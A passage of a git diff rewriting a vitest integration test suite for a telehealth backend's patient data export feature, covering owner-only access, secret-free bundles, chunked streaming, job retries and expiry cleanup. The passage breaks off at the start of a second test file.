= await prisma.patientExport.findUniqueOrThrow({ where: { id: sneaky.body.id } }); - expect(row.patientProfileId).toBe(alice.profileId); - await patients.processExport(row.id); - }); - - it("returns 404 for another patient's export id, on status and download", async () => { - const bobsExport = await prisma.patientExport.findFirstOrThrow({ - where: { patientProfileId: bob.profileId, status: 'ready' }, - }); - const status = await request(app) - .get(`/patients/me/export/${bobsExport.id}`) - .set('Authorization', `Bearer ${alice.token}`); - expect(status.status).toBe(404); - expect((await download(alice.token, bobsExport.id)).status).toBe(404); - // ...while Bob can download it. - expect((await download(bob.token, bobsExport.id)).status).toBe(200); - }); - - it('builds a complete, versioned bundle from each module and leaks no secrets', async () => { - const exportId = await requestAndGenerate(alice.token); - const status = await request(app).get(`/patients/me/export/${exportId}`).set('Authorization', `Bearer ${alice.token}`); - expect(status.body).toMatchObject({ status: 'ready', schemaVersion: 1, failure: null }); - expect(status.body.downloadUrl).toBe(`/patients/me/export/${exportId}/download`); - expect(new Date(status.body.expiresAt).getTime()).toBeGreaterThan(Date.now() + 23 * 60 * 60 * 1000); - - const res = await download(alice.token, exportId); - expect(res.status).toBe(200); - expect(res.headers['content-type']).toMatch(/application\/json/); - expect(res.headers['content-disposition']).toContain(`docforum-export-${exportId}.json`); - expect(res.headers['cache-control']).toBe('no-store'); - expect(Number(res.headers['content-length'])).toBe(Buffer.byteLength(res.body)); - - const bundle = JSON.parse(res.body); - expect(bundle.format).toBe('docforum.patient-export'); - expect(bundle.schemaVersion).toBe(1); - expect(bundle.exportId).toBe(exportId); - expect(new Date(bundle.generatedAt).toISOString()).toBe(bundle.generatedAt); - expect(Object.keys(bundle.sections)).toEqual(['account', 'appointments', 'lab_orders', 'payments', 'prescriptions', 'profile']); - - expect(bundle.sections.account.items).toEqual([ - expect.objectContaining({ id: alice.userId, email: alice.email, role: 'patient' }), - ]); - expect(bundle.sections.profile.items).toEqual([ - expect.objectContaining({ id: alice.profileId, fullName: 'alice Fullname' }), - ]); - - const appointments = bundle.sections.appointments.items; - expect(appointments).toHaveLength(23); - expect(new Set(appointments.map((a: { id: string }) => a.id)).size).toBe(23); - expect(appointments.filter((appointment: { doctor: { id: string; fullName: string } }) => appointment.doctor.id === doctorProfileId)).toHaveLength(21); - expect(appointments.filter((appointment: { doctor: { fullName: string } }) => appointment.doctor.fullName === 'Order Test Doctor')).toHaveLength(2); - for (const appointment of appointments) { - expect(appointment.slot.startTime).toBeTruthy(); - expect(appointment.status).toBe('scheduled'); - } - - const payments = bundle.sections.payments.items; - expect(payments).toHaveLength(2); - expect(payments[0]).toMatchObject({ - labOrderId: aliceLabOrder.id, - status: 'escrowed', - amount: '12345678901', - assetCode: 'XLM', - escrowId: '42', - stellarTxHash: 'a'.repeat(64), - sorobanContractId: 'CCONTRACT', - facility: { id: facilityId, name: 'Lagos Lab' }, - }); - expect(payments[1]).toMatchObject({ prescriptionId: alicePrescription.id, stellarTxHash: null, escrowId: null }); - - // Nothing that isn't Alice's, and nothing operational or secret. - const passwordHash = (await prisma.user.findUniqueOrThrow({ where: { id: alice.userId } })).passwordHash; - expect(res.body).not.toContain('b'.repeat(64)); - expect(res.body).not.toContain('bob-order'); - expect(res.body).not.toContain(PAYER_SECRET); - expect(res.body).not.toContain(RELEASER_SECRET); - expect(res.body).not.toContain(passwordHash); - expect(res.body).not.toMatch(/passwordHash|tokenHash|csrf|LoginAttempt/i); - }); - - it('streams large histories in bounded chunks', async () => { - const exportId = await requestAndGenerate(alice.token); - const record = await prisma.patientExport.findUniqueOrThrow({ where: { id: exportId } }); - const chunks = await prisma.patientExportChunk.findMany({ where: { exportId }, orderBy: { seq: 'asc' } }); - expect(record.chunkCount).toBe(chunks.length); - expect(chunks.length).toBeGreaterThan(3); - // Every chunk is at most the limit plus one serialized appointment. - for (const chunk of chunks) expect(Buffer.byteLength(chunk.data)).toBeLessThan(CHUNK_BYTES + 600); - expect(chunks.reduce((sum, c) => sum + Buffer.byteLength(c.data), 0)).toBe(record.sizeBytes); - - // Sections are paged: storage already holds output by the time a later - // page is requested. - const seenAtPage: number[] = []; - const probe = { - name: 'zz_probe', - version: 1, - async *pages() { - for (let page = 0; page < 4; page += 1) { - seenAtPage.push(await prisma.patientExportChunk.count({ where: { exportId: probeExportId } })); - yield Array.from({ length: PAGE_SIZE }, (_, i) => ({ page, i, pad: 'p'.repeat(100) })); - } - }, - }; - const probeRequest = await request(app).post('/patients/me/export').set('Authorization', `Bearer ${alice.token}`); - const probeExportId = probeRequest.body.id as string; - expect(await patients.processExport(probeExportId, [...patients.listExportSections(), probe])).toBe('ready'); - expect(seenAtPage[0]).toBeGreaterThan(0); - expect(seenAtPage[3]).toBeGreaterThan(seenAtPage[0]); - }); - - it('runs each job exactly once even when two workers race for it', async () => { - const created = await request(app).post('/patients/me/export').set('Authorization', `Bearer ${alice.token}`); - const results = await Promise.all([patients.processExport(created.body.id), patients.processExport(created.body.id)]); - expect(results.filter((r) => r === 'ready')).toHaveLength(1); - expect(results.filter((r) => r === null)).toHaveLength(1); - const record = await prisma.patientExport.findUniqueOrThrow({ where: { id: created.body.id } }); - expect(record.attempt).toBe(1); - }); - - it('marks the job failed, keeps no partial artifact and stores no error text when a section fails', async () => { - const failing = { - name: 'zz_failing', - version: 1, - async *pages() { - yield [{ partial: true }]; - throw new Error('could not read record of alice Fullname'); - }, - }; - patients.registerExportSection(failing); - try { - const created = await request(app).post('/patients/me/export').set('Authorization', `Bearer ${alice.token}`); - expect(await patients.processExport(created.body.id)).toBe('failed'); - - const record = await prisma.patientExport.findUniqueOrThrow({ where: { id: created.body.id } }); - expect(record).toMatchObject({ status: 'failed', failureCode: 'SECTION_FAILED', failedSection: 'zz_failing' }); - expect(record.expiresAt).toBeNull(); - expect(JSON.stringify(record)).not.toContain('alice Fullname'); - expect(await prisma.patientExportChunk.count({ where: { exportId: created.body.id } })).toBe(0); - - const status = await request(app) - .get(`/patients/me/export/${created.body.id}`) - .set('Authorization', `Bearer ${alice.token}`); - expect(status.body).toMatchObject({ - status: 'failed', - downloadUrl: null, - failure: { code: 'SECTION_FAILED', section: 'zz_failing' }, - }); - expect((await download(alice.token, created.body.id)).status).toBe(409); - } finally { - patients.unregisterExportSection('zz_failing'); - } - }); - - it('requeues a dead claim, fences the stale attempt, and fails after max attempts', async () => { - const longAgo = new Date(Date.now() - 60 * 60 * 1000); - const stale = await prisma.patientExport.create({ - data: { patientProfileId: bob.profileId, status: 'processing', attempt: 1, startedAt: longAgo }, - }); - await prisma.patientExportChunk.create({ data: { exportId: stale.id, attempt: 1, seq: 0, data: '{"half":' } }); - const exhausted = await prisma.patientExport.create({ - data: { patientProfileId: bob.profileId, status: 'processing', attempt: 3, startedAt: longAgo }, - }); - - const recovered = await patients.recoverStaleExports(); - expect(recovered).toEqual({ requeued: 1, failed: 1 }); - expect((await prisma.patientExport.findUniqueOrThrow({ where: { id: exhausted.id } })).failureCode).toBe( - 'GENERATION_TIMEOUT', - ); - - expect(await patients.processExport(stale.id)).toBe('ready'); - const record = await prisma.patientExport.findUniqueOrThrow({ where: { id: stale.id } }); - expect(record.attempt).toBe(2); - // The dead attempt's half-written chunk is never served, and cleanup - // removes it. - const res = await download(bob.token, stale.id); - expect(() => JSON.parse(res.body)).not.toThrow(); - await patients.expireExports(); - expect(await prisma.patientExportChunk.count({ where: { exportId: stale.id, attempt: 1 } })).toBe(0); - expect(await prisma.patientExportChunk.count({ where: { exportId: stale.id, attempt: 2 } })).toBe(record.chunkCount); - }); - - it('refuses downloads at expiry, then cleanup deletes only expired artifacts', async () => { - const aliceExport = await requestAndGenerate(alice.token); - const bobExport = await requestAndGenerate(bob.token); - const bobChunks = await prisma.patientExportChunk.count({ where: { exportId: bobExport } }); - expect(bobChunks).toBeGreaterThan(0); - - // Past its deadline but not yet cleaned up: already refused. - await prisma.patientExport.update({ where: { id: aliceExport }, data: { expiresAt: new Date(Date.now() - 1000) } }); - const refused = await download(alice.token, aliceExport); - expect(refused.status).toBe(410); - expect(refused.body).toContain('EXPORT_EXPIRED'); - const status = await request(app).get(`/patients/me/export/${aliceExport}`).set('Authorization', `Bearer ${alice.token}`); - expect(status.body).toMatchObject({ status: 'expired', downloadUrl: null, sizeBytes: null }); - - const result = await patients.expireExports(); - expect(result.expired).toBeGreaterThanOrEqual(1); - expect((await prisma.patientExport.findUniqueOrThrow({ where: { id: aliceExport } })).status).toBe('expired'); - expect(await prisma.patientExportChunk.count({ where: { exportId: aliceExport } })).toBe(0); - // Bob's still-valid export is untouched. - expect(await prisma.patientExportChunk.count({ where: { exportId: bobExport } })).toBe(bobChunks); - expect((await download(bob.token, bobExport)).status).toBe(200); - - // Simulating the clock past every TTL expires everything still ready. - const later = new Date(Date.now() + 25 * 60 * 60 * 1000); - await patients.expireExports(later); - expect(await prisma.patientExport.count({ where: { status: 'ready' } })).toBe(0); - expect(await prisma.patientExportChunk.count()).toBe(0); - expect((await download(bob.token, bobExport)).status).toBe(410); - // Running it again is a no-op. - expect(await patients.expireExports(later)).toEqual({ expired: 0, orphanChunksDeleted: 0 }); - }); - - it('generates through the real job wiring: a request wakes the worker without a manual call', async () => { - const jobs = await import('../../src/jobs/patient-exports.js'); - const stop = jobs.startPatientExportJobs(); - try { - const created = await request(app).post('/patients/me/export').set('Authorization', `Bearer ${bob.token}`); - expect(created.status).toBe(202); - let status = created.body.status as string; - for (let i = 0; i < 50 && status !== 'ready'; i += 1) { - await new Promise((resolve) => setTimeout(resolve, 100)); - const res = await request(app).get(`/patients/me/export/${created.body.id}`).set('Authorization', `Bearer ${bob.token}`); - status = res.body.status; - } - expect(status).toBe('ready'); - } finally { - stop(); - } - }); - - it('leaves booking intact: booked appointments and slots are unchanged by exporting', async () => { - const before = await prisma.appointment.count({ where: { patientProfileId: alice.profileId } }); - await requestAndGenerate(alice.token); - expect(await prisma.appointment.count({ where: { patientProfileId: alice.profileId } })).toBe(before); - expect(await prisma.availabilitySlot.count({ where: { doctorProfileId, status: 'open' } })).toBe(1); - }); -}); +// Integration tests for patient data export (Phase 8, issue #40 β€” right of +// access): owner-only access, the job lifecycle, the bundle contents +// (sections from each module's service, tx hashes, no secrets), bounded +// streaming, failure handling, stale-claim recovery, and expiry/cleanup. +// Self-contained, same embedded-Postgres pattern as booking.test.mts β€” see +// that file's header for why. Own port (5442) so it runs alongside the +// other integration files. +import { execFileSync } from 'node:child_process'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import request from 'supertest'; +import jwt from 'jsonwebtoken'; +import EmbeddedPostgres from 'embedded-postgres'; +import { createOrderFixture, createPaymentIntentForFixture } from './order-fixtures.mjs'; + +const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); +const PORT = 5442; +const runId = Date.now(); + +const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-export-pg-')); +const pg = new EmbeddedPostgres({ + databaseDir: dataDir, + user: 'docforum', + password: 'docforum', + port: PORT, + persistent: false, +}); +const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; + +// Sentinel platform secrets: the bundle must never contain them. +const PAYER_SECRET = `SPAYERSENTINEL${runId}`; +const RELEASER_SECRET = `SRELEASERSENTINEL${runId}`; +// Small pages and chunks so a modest fixture exercises multi-page, +// multi-chunk streaming. +const PAGE_SIZE = 7; +const CHUNK_BYTES = 1024; + +type App = ReturnType; +type Prisma = typeof import('../../src/db/prisma-client.js').prisma; +type PatientsService = typeof import('../../src/modules/patients/services/index.js'); + +const emailedTokens = new Map(); + +describe('patient data export', () => { + let app: App; + let prisma: Prisma; + let patients: PatientsService; + + let doctorToken: string; + let doctorProfileId: string; + let adminToken: string; + let alice: { token: string; userId: string; profileId: string; email: string }; + let bob: { token: string; userId: string; profileId: string; email: string }; + let facilityId: string; + let aliceLabOrder: Awaited>; + let alicePrescription: Awaited>; + + async function signupVerified(role: 'patient' | 'doctor', label: string) { + const email = `${label}-${runId}@example.com`; + const res = await request(app) + .post('/auth/signup') + .send({ role, email, password: 'longenough123', fullName: `${label} Fullname` }); + expect(res.status).toBe(200); + const verified = await request(app).post('/auth/verify-email').send({ token: emailedTokens.get(email) }); + expect(verified.status).toBe(200); + return { token: res.body.accessToken as string, userId: res.body.user.id as string, email }; + } + + async function signupPatient(label: string) { + const user = await signupVerified('patient', label); + const profile = await prisma.patientProfile.findUniqueOrThrow({ where: { userId: user.userId } }); + return { ...user, profileId: profile.id }; + } + + async function download(token: string, exportId: string) { + return request(app) + .get(`/patients/me/export/${exportId}/download`) + .set('Authorization', `Bearer ${token}`) + .buffer(true) + .parse((res, callback) => { + let data = ''; + res.setEncoding('utf8'); + res.on('data', (chunk: string) => (data += chunk)); + res.on('end', () => callback(null, data)); + }); + } + + async function requestAndGenerate(token: string) { + const created = await request(app).post('/patients/me/export').set('Authorization', `Bearer ${token}`); + expect(created.status).toBe(202); + expect(await patients.processExport(created.body.id)).toBe('ready'); + return created.body.id as string; + } + + beforeAll(async () => { + await pg.initialise(); + await pg.start(); + await pg.createDatabase('docforum_test'); + execFileSync('npx', ['prisma', 'migrate', 'deploy'], { + cwd: BACKEND_ROOT, + env: { ...process.env, DATABASE_URL: databaseUrl }, + stdio: 'pipe', + }); + + // Must be set before the app module (config, PrismaClient) loads. + process.env.DATABASE_URL = databaseUrl; + process.env.PATIENT_EXPORT_PAGE_SIZE = String(PAGE_SIZE); + process.env.PATIENT_EXPORT_CHUNK_BYTES = String(CHUNK_BYTES); + process.env.PATIENT_EXPORT_TTL_HOURS = '24'; + process.env.PLATFORM_PAYER_SECRET = PAYER_SECRET; + process.env.PLATFORM_RELEASER_SECRET = RELEASER_SECRET; + + const appModule = await import('../../src/app.js'); + const dbModule = await import('../../src/db/prisma-client.js'); + const authServices = await import('../../src/modules/auth/services/index.js'); + patients = await import('../../src/modules/patients/services/index.js'); + app = appModule.createApp(); + prisma = dbModule.prisma; + + authServices.setEmailSender(async (message) => { + const match = /[?&]token=([^&\s]+)/.exec(message.text); + if (match) emailedTokens.set(message.to, decodeURIComponent(match[1])); + }); + + const doctor = await signupVerified('doctor', 'export-doctor'); + doctorToken = doctor.token; + doctorProfileId = (await prisma.doctorProfile.findUniqueOrThrow({ where: { userId: doctor.userId } })).id; + + const admin = await prisma.user.create({ + data: { email: `admin-${runId}@example.com`, passwordHash: 'x', role: 'admin', emailVerifiedAt: new Date() }, + }); + adminToken = jwt.sign({ sub: admin.id, role: 'admin' }, 'test-access-secret', { expiresIn: '15m' }); + + alice = await signupPatient('alice'); + bob = await signupPatient('bob'); + + // Alice books one appointment through the real booking endpoint... + const tomorrow = new Date(Date.now() + 24 * 60 * 60 * 1000).toISOString().slice(0, 10); + const generate = await request(app) + .post(`/availability/doctors/${doctorProfileId}/slots/generate`) + .set('Authorization', `Bearer ${doctorToken}`) + .send({ date: tomorrow, startHour: 9, endHour: 10, slotLengthMinutes: 30 }); + expect(generate.status).toBe(201); + const slots = await request(app).get(`/availability/doctors/${doctorProfileId}/slots`); + const booked = await request(app) + .post('/appointments') + .set('Authorization', `Bearer ${alice.token}`) + .send({ availabilitySlotId: slots.body[0].id }); + expect(booked.status).toBe(201); + + // ...plus enough history to span several pages and chunks. + const base = Date.now() + 2 * 24 * 60 * 60 * 1000; + for (let i = 0; i < 20; i += 1) { + const slot = await prisma.availabilitySlot.create({ + data: { + doctorProfileId, + status: 'booked', + startTime: new Date(base + i * 30 * 60 * 1000), + endTime: new Date(base + (i + 1) * 30 * 60 * 1000), + }, + }); + await prisma.appointment.create({ + data: { patientProfileId: alice.profileId, doctorProfileId, availabilitySlotId: slot.id }, + }); + } + + const facilityUser = await prisma.user.create({ + data: { email: `lab-${runId}@example.com`, passwordHash: 'x', role: 'facility' }, + }); + facilityId = ( + await prisma.facilityProfile.create({ data: { userId: facilityUser.id, name: 'Lagos Lab', type: 'lab' } }) + ).id; + aliceLabOrder = await createOrderFixture(prisma, { patientProfileId: alice.profileId, facilityProfileId: facilityId, kind: 'lab_order', amountStroops: 12_345_678_901n, tag: `alice-lab-${runId}` }); + const aliceLabPayment = await createPaymentIntentForFixture(prisma, aliceLabOrder, 'escrowed'); + await prisma.paymentIntent.update({ where: { id: aliceLabPayment.id }, data: { escrowId: 42n, stellarTxHash: 'a'.repeat(64), sorobanContractId: 'CCONTRACT' } }); + alicePrescription = await createOrderFixture(prisma, { patientProfileId: alice.profileId, facilityProfileId: facilityId, kind: 'prescription', amountStroops: 5n, tag: `alice-rx-${runId}` }); + await createPaymentIntentForFixture(prisma, alicePrescription); + const bobPrescription = await createOrderFixture(prisma, { patientProfileId: bob.profileId, facilityProfileId: facilityId, kind: 'prescription', amountStroops: 9n, tag: `bob-rx-${runId}` }); + await prisma.paymentIntent.create({ data: { + prescriptionId: bobPrescription.id, patientProfileId: bob.profileId, facilityId, + amount: 9n, assetCode: 'XLM', stellarTxHash: 'b'.repeat(64), + } }); + }, 180_000); + + afterAll(async () => { + const authServices = await import('../../src/modules/auth/services/index.js'); + authServices.resetEmailSender(); + await prisma?.$disconnect(); + await pg.stop(); + fs.rmSync(dataDir, { recursive: true, force: true }); + }); + + it('lets a patient request an export, deduplicating while one is in flight', async () => { + const [first, second] = await Promise.all([ + request(app).post('/patients/me/export').set('Authorization', `Bearer ${bob.token}`), + request(app).post('/patients/me/export').set('Authorization', `Bearer ${bob.token}`), + ]); + expect(first.status).toBe(202); + expect(second.status).toBe(202); + expect(first.body.id).toBe(second.body.id); + expect(first.body.status).toBe('pending'); + expect(first.body.downloadUrl).toBeNull(); + expect(first.headers.location).toBe(`/patients/me/export/${first.body.id}`); + expect(await prisma.patientExport.count({ where: { patientProfileId: bob.profileId } })).toBe(1); + + const status = await request(app) + .get(`/patients/me/export/${first.body.id}`) + .set('Authorization', `Bearer ${bob.token}`); + expect(status.status).toBe(200); + expect(status.body.status).toBe('pending'); + + // Download before it's ready is a 409, not a partial file. + const early = await download(bob.token, first.body.id); + expect(early.status).toBe(409); + expect(early.body).toContain('EXPORT_NOT_READY'); + + expect(await patients.processExport(first.body.id)).toBe('ready'); + // Once it's no longer in flight, a new request starts a new job. + const next = await request(app).post('/patients/me/export').set('Authorization', `Bearer ${bob.token}`); + expect(next.body.id).not.toBe(first.body.id); + await patients.processExport(next.body.id); + }); + + it('refuses doctors, admins and anonymous callers on every export route', async () => { + const exportId = (await prisma.patientExport.findFirstOrThrow({ where: { patientProfileId: bob.profileId } })).id; + for (const token of [doctorToken, adminToken]) { + const auth = { Authorization: `Bearer ${token}` }; + expect((await request(app).post('/patients/me/export').set(auth)).status).toBe(403); + expect((await request(app).get(`/patients/me/export/${exportId}`).set(auth)).status).toBe(403); + expect((await request(app).get(`/patients/me/export/${exportId}/download`).set(auth)).status).toBe(403); + } + expect((await request(app).post('/patients/me/export')).status).toBe(401); + expect((await request(app).get(`/patients/me/export/${exportId}`)).status).toBe(401); + // And no patient-id parameter is honoured anywhere: a body naming Bob + // still exports the caller (or nobody, for non-patients). + const sneaky = await request(app) + .post('/patients/me/export') + .set('Authorization', `Bearer ${alice.token}`) + .send({ patientProfileId: bob.profileId }); + const row = await prisma.patientExport.findUniqueOrThrow({ where: { id: sneaky.body.id } }); + expect(row.patientProfileId).toBe(alice.profileId); + await patients.processExport(row.id); + }); + + it("returns 404 for another patient's export id, on status and download", async () => { + const bobsExport = await prisma.patientExport.findFirstOrThrow({ + where: { patientProfileId: bob.profileId, status: 'ready' }, + }); + const status = await request(app) + .get(`/patients/me/export/${bobsExport.id}`) + .set('Authorization', `Bearer ${alice.token}`); + expect(status.status).toBe(404); + expect((await download(alice.token, bobsExport.id)).status).toBe(404); + // ...while Bob can download it. + expect((await download(bob.token, bobsExport.id)).status).toBe(200); + }); + + it('builds a complete, versioned bundle from each module and leaks no secrets', async () => { + const exportId = await requestAndGenerate(alice.token); + const status = await request(app).get(`/patients/me/export/${exportId}`).set('Authorization', `Bearer ${alice.token}`); + expect(status.body).toMatchObject({ status: 'ready', schemaVersion: 1, failure: null }); + expect(status.body.downloadUrl).toBe(`/patients/me/export/${exportId}/download`); + expect(new Date(status.body.expiresAt).getTime()).toBeGreaterThan(Date.now() + 23 * 60 * 60 * 1000); + + const res = await download(alice.token, exportId); + expect(res.status).toBe(200); + expect(res.headers['content-type']).toMatch(/application\/json/); + expect(res.headers['content-disposition']).toContain(`docforum-export-${exportId}.json`); + expect(res.headers['cache-control']).toBe('no-store'); + expect(Number(res.headers['content-length'])).toBe(Buffer.byteLength(res.body)); + + const bundle = JSON.parse(res.body); + expect(bundle.format).toBe('docforum.patient-export'); + expect(bundle.schemaVersion).toBe(1); + expect(bundle.exportId).toBe(exportId); + expect(new Date(bundle.generatedAt).toISOString()).toBe(bundle.generatedAt); + expect(Object.keys(bundle.sections)).toEqual(['account', 'appointments', 'lab_orders', 'payments', 'prescriptions', 'profile']); + + expect(bundle.sections.account.items).toEqual([ + expect.objectContaining({ id: alice.userId, email: alice.email, role: 'patient' }), + ]); + expect(bundle.sections.profile.items).toEqual([ + expect.objectContaining({ id: alice.profileId, fullName: 'alice Fullname' }), + ]); + + const appointments = bundle.sections.appointments.items; + expect(appointments).toHaveLength(23); + expect(new Set(appointments.map((a: { id: string }) => a.id)).size).toBe(23); + expect(appointments.filter((appointment: { doctor: { id: string; fullName: string } }) => appointment.doctor.id === doctorProfileId)).toHaveLength(21); + expect(appointments.filter((appointment: { doctor: { fullName: string } }) => appointment.doctor.fullName === 'Order Test Doctor')).toHaveLength(2); + for (const appointment of appointments) { + expect(appointment.slot.startTime).toBeTruthy(); + expect(appointment.status).toBe('scheduled'); + } + + const payments = bundle.sections.payments.items; + expect(payments).toHaveLength(2); + expect(payments[0]).toMatchObject({ + labOrderId: aliceLabOrder.id, + status: 'escrowed', + amount: '12345678901', + assetCode: 'XLM', + escrowId: '42', + stellarTxHash: 'a'.repeat(64), + sorobanContractId: 'CCONTRACT', + facility: { id: facilityId, name: 'Lagos Lab' }, + }); + expect(payments[1]).toMatchObject({ prescriptionId: alicePrescription.id, stellarTxHash: null, escrowId: null }); + + // Nothing that isn't Alice's, and nothing operational or secret. + const passwordHash = (await prisma.user.findUniqueOrThrow({ where: { id: alice.userId } })).passwordHash; + expect(res.body).not.toContain('b'.repeat(64)); + expect(res.body).not.toContain('bob-order'); + expect(res.body).not.toContain(PAYER_SECRET); + expect(res.body).not.toContain(RELEASER_SECRET); + expect(res.body).not.toContain(passwordHash); + expect(res.body).not.toMatch(/passwordHash|tokenHash|csrf|LoginAttempt/i); + }); + + it('streams large histories in bounded chunks', async () => { + const exportId = await requestAndGenerate(alice.token); + const record = await prisma.patientExport.findUniqueOrThrow({ where: { id: exportId } }); + const chunks = await prisma.patientExportChunk.findMany({ where: { exportId }, orderBy: { seq: 'asc' } }); + expect(record.chunkCount).toBe(chunks.length); + expect(chunks.length).toBeGreaterThan(3); + // Every chunk is at most the limit plus one serialized appointment. + for (const chunk of chunks) expect(Buffer.byteLength(chunk.data)).toBeLessThan(CHUNK_BYTES + 600); + expect(chunks.reduce((sum, c) => sum + Buffer.byteLength(c.data), 0)).toBe(record.sizeBytes); + + // Sections are paged: storage already holds output by the time a later + // page is requested. + const seenAtPage: number[] = []; + const probe = { + name: 'zz_probe', + version: 1, + async *pages() { + for (let page = 0; page < 4; page += 1) { + seenAtPage.push(await prisma.patientExportChunk.count({ where: { exportId: probeExportId } })); + yield Array.from({ length: PAGE_SIZE }, (_, i) => ({ page, i, pad: 'p'.repeat(100) })); + } + }, + }; + const probeRequest = await request(app).post('/patients/me/export').set('Authorization', `Bearer ${alice.token}`); + const probeExportId = probeRequest.body.id as string; + expect(await patients.processExport(probeExportId, [...patients.listExportSections(), probe])).toBe('ready'); + expect(seenAtPage[0]).toBeGreaterThan(0); + expect(seenAtPage[3]).toBeGreaterThan(seenAtPage[0]); + }); + + it('runs each job exactly once even when two workers race for it', async () => { + const created = await request(app).post('/patients/me/export').set('Authorization', `Bearer ${alice.token}`); + const results = await Promise.all([patients.processExport(created.body.id), patients.processExport(created.body.id)]); + expect(results.filter((r) => r === 'ready')).toHaveLength(1); + expect(results.filter((r) => r === null)).toHaveLength(1); + const record = await prisma.patientExport.findUniqueOrThrow({ where: { id: created.body.id } }); + expect(record.attempt).toBe(1); + }); + + it('marks the job failed, keeps no partial artifact and stores no error text when a section fails', async () => { + const failing = { + name: 'zz_failing', + version: 1, + async *pages() { + yield [{ partial: true }]; + throw new Error('could not read record of alice Fullname'); + }, + }; + patients.registerExportSection(failing); + try { + const created = await request(app).post('/patients/me/export').set('Authorization', `Bearer ${alice.token}`); + expect(await patients.processExport(created.body.id)).toBe('failed'); + + const record = await prisma.patientExport.findUniqueOrThrow({ where: { id: created.body.id } }); + expect(record).toMatchObject({ status: 'failed', failureCode: 'SECTION_FAILED', failedSection: 'zz_failing' }); + expect(record.expiresAt).toBeNull(); + expect(JSON.stringify(record)).not.toContain('alice Fullname'); + expect(await prisma.patientExportChunk.count({ where: { exportId: created.body.id } })).toBe(0); + + const status = await request(app) + .get(`/patients/me/export/${created.body.id}`) + .set('Authorization', `Bearer ${alice.token}`); + expect(status.body).toMatchObject({ + status: 'failed', + downloadUrl: null, + failure: { code: 'SECTION_FAILED', section: 'zz_failing' }, + }); + expect((await download(alice.token, created.body.id)).status).toBe(409); + } finally { + patients.unregisterExportSection('zz_failing'); + } + }); + + it('requeues a dead claim, fences the stale attempt, and fails after max attempts', async () => { + const longAgo = new Date(Date.now() - 60 * 60 * 1000); + const stale = await prisma.patientExport.create({ + data: { patientProfileId: bob.profileId, status: 'processing', attempt: 1, startedAt: longAgo }, + }); + await prisma.patientExportChunk.create({ data: { exportId: stale.id, attempt: 1, seq: 0, data: '{"half":' } }); + const exhausted = await prisma.patientExport.create({ + data: { patientProfileId: bob.profileId, status: 'processing', attempt: 3, startedAt: longAgo }, + }); + + const recovered = await patients.recoverStaleExports(); + expect(recovered).toEqual({ requeued: 1, failed: 1 }); + expect((await prisma.patientExport.findUniqueOrThrow({ where: { id: exhausted.id } })).failureCode).toBe( + 'GENERATION_TIMEOUT', + ); + + expect(await patients.processExport(stale.id)).toBe('ready'); + const record = await prisma.patientExport.findUniqueOrThrow({ where: { id: stale.id } }); + expect(record.attempt).toBe(2); + // The dead attempt's half-written chunk is never served, and cleanup + // removes it. + const res = await download(bob.token, stale.id); + expect(() => JSON.parse(res.body)).not.toThrow(); + await patients.expireExports(); + expect(await prisma.patientExportChunk.count({ where: { exportId: stale.id, attempt: 1 } })).toBe(0); + expect(await prisma.patientExportChunk.count({ where: { exportId: stale.id, attempt: 2 } })).toBe(record.chunkCount); + }); + + it('refuses downloads at expiry, then cleanup deletes only expired artifacts', async () => { + const aliceExport = await requestAndGenerate(alice.token); + const bobExport = await requestAndGenerate(bob.token); + const bobChunks = await prisma.patientExportChunk.count({ where: { exportId: bobExport } }); + expect(bobChunks).toBeGreaterThan(0); + + // Past its deadline but not yet cleaned up: already refused. + await prisma.patientExport.update({ where: { id: aliceExport }, data: { expiresAt: new Date(Date.now() - 1000) } }); + const refused = await download(alice.token, aliceExport); + expect(refused.status).toBe(410); + expect(refused.body).toContain('EXPORT_EXPIRED'); + const status = await request(app).get(`/patients/me/export/${aliceExport}`).set('Authorization', `Bearer ${alice.token}`); + expect(status.body).toMatchObject({ status: 'expired', downloadUrl: null, sizeBytes: null }); + + const result = await patients.expireExports(); + expect(result.expired).toBeGreaterThanOrEqual(1); + expect((await prisma.patientExport.findUniqueOrThrow({ where: { id: aliceExport } })).status).toBe('expired'); + expect(await prisma.patientExportChunk.count({ where: { exportId: aliceExport } })).toBe(0); + // Bob's still-valid export is untouched. + expect(await prisma.patientExportChunk.count({ where: { exportId: bobExport } })).toBe(bobChunks); + expect((await download(bob.token, bobExport)).status).toBe(200); + + // Simulating the clock past every TTL expires everything still ready. + const later = new Date(Date.now() + 25 * 60 * 60 * 1000); + await patients.expireExports(later); + expect(await prisma.patientExport.count({ where: { status: 'ready' } })).toBe(0); + expect(await prisma.patientExportChunk.count()).toBe(0); + expect((await download(bob.token, bobExport)).status).toBe(410); + // Running it again is a no-op. + expect(await patients.expireExports(later)).toEqual({ expired: 0, orphanChunksDeleted: 0 }); + }); + + it('generates through the real job wiring: a request wakes the worker without a manual call', async () => { + const jobs = await import('../../src/jobs/patient-exports.js'); + const stop = jobs.startPatientExportJobs(); + try { + const created = await request(app).post('/patients/me/export').set('Authorization', `Bearer ${bob.token}`); + expect(created.status).toBe(202); + let status = created.body.status as string; + for (let i = 0; i < 50 && status !== 'ready'; i += 1) { + await new Promise((resolve) => setTimeout(resolve, 100)); + const res = await request(app).get(`/patients/me/export/${created.body.id}`).set('Authorization', `Bearer ${bob.token}`); + status = res.body.status; + } + expect(status).toBe('ready'); + } finally { + stop(); + } + }); + + it('leaves booking intact: booked appointments and slots are unchanged by exporting', async () => { + const before = await prisma.appointment.count({ where: { patientProfileId: alice.profileId } }); + await requestAndGenerate(alice.token); + expect(await prisma.appointment.count({ where: { patientProfileId: alice.profileId } })).toBe(before); + expect(await prisma.availabilitySlot.count({ where: { doctorProfileId, status: 'open' } })).toBe(1); + }); +}); diff --git a/backend/tests/integration/payment-history.test.mts b/backend/tests/integration/payment-history.test.mts index 98b8ad67..b85cb22c 100644 --- a/backend/tests/integration/payment-history.test.mts +++ b/backend/tests/integration/payment-history.test.mts @@ -1,186 +1,186 @@ -import { execFileSync } from 'node:child_process'; -import fs from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { fileURLToPath } from 'node:url'; -import { afterAll, beforeAll, describe, expect, it } from 'vitest'; -import request from 'supertest'; -import jwt from 'jsonwebtoken'; -import 